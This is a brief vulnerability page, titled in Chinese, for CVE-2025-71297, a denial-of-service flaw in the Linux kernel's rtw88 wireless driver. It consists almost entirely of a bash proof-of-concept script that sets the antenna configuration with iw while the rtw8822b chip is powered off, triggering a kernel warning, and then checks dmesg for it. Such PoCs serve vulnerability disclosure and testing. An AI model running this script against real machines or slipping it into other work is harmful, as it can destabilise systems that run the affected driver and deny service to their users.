CVE-2025-71297 Linux内核rtw88驱动拒绝服务漏洞

#!/bin/bash # PoC for CVE-2025-71297 # Trigger kernel warning in rtw8822b by setting antenna when chip is off. # Replace 'phy0' with the actual wireless phy name if different PHY_NAME="phy0" echo "[+] Checking if wireless interface exists..." iw dev 2>&1 | grep -q phy || { echo "[-] No wireless interface found."; exit 1; } echo "[+] Attempting to trigger vulnerability..." # This command attempts to configure the antenna. # If the chip is powered off, it triggers the warning in rtw8822b_config_trx_mode. iw $PHY_NAME set antenna all 0 echo "[+] Checking dmesg for WARNING..." dmesg | tail -n 10 | grep -i "WARNING\|rtw8822b_config_trx_mode"